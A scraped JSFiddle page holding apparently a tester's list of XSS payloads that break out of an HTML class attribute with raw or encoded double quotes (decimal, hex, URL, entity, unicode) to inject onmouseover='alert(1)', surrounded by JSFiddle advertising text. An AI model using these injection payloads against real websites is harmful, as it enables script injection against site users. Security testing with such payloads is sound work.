Edit fiddle - JSFiddle - React, Tailwind, and code Playground

JSFiddle - React, Tailwind, and code Playground

HTML

<div class="Injection Point">divlayer</div>

Hard coded double quotes in order to break the attribute contex
<div class=""onmouseover="alert(1)">divlayer</div>

Decimal Encoded Double Quotes
<div class="&#34;onmouseover=&#34;alert(1)">divlayer</div>

Hex Encoded Double Quotes
<div class="&#x00022;onmouseover=&#x00022;alert(1)">divlayer</div>

URL Encoded Double Quotes
<div class="%22onmouseover=%22alert(1)">divlayer</div>

HTML5 Encoded Double Quotes
<div class="&quot;onmouseover=&quot;alert(1)">divlayer</div>

Unicode Encoded Double Quotes
<div class="\u0022onmouseover=\u0022alert(1)">divlayer</div>

Join the 4+ million users, and keep the JSFiddle dream alive.

Ad-free

All ads in the editor and listing pages are turned completely off.
Fiddle Pages

Your fiddles accessible under a custom domain and a vanity path - the simplest hosting for your personal project.
Use pre-released features

You get to try and use features (like the Palette Color Generator) months before everyone else.
Fiddle collections

Sort and categorize your Fiddles into multiple collections.
Private collections and fiddles

You can make as many Private Fiddles, and Private Collections as you wish!

JSFiddle - React, Tailwind, and code Playground

HTML

Please Whitelist JSFiddle in your content blocker.

Join the 4+ million users, and keep the JSFiddle dream alive.

Ad-free

Fiddle Pages

Use pre-released features

Fiddle collections

Private collections and fiddles

Get Fiddle Pages with PRO